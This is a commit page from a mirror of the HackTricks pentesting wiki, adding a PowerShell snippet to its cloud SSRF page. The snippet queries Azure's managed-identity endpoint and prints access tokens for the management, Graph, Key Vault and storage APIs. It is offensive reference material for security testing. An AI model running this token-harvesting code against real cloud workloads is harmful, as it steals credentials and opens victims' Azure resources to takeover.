maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

GITBOOK-4455: No subject

Browse Source
This commit is contained in:
SirBroccoli 2024-12-24 23:35:25 +00:00 committed by gitbook-bot
parent 9115fb9fb3
commit 5dea759ed0
1 changed files with 43 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

43
pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
View File

@ -509,6 +509,49 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
{% tab title="PS" %} {% tab title="PS" %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```powershell
# Define the API version
$API_VERSION = "2019-08-01"
# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}
# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"
# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"
# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"
# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"
# API request in powershell to management endpoint # API request in powershell to management endpoint
$Token = 'eyJ0eX..' $Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01' $URI='https://management.azure.com/subscriptions?api-version=2020-01-01'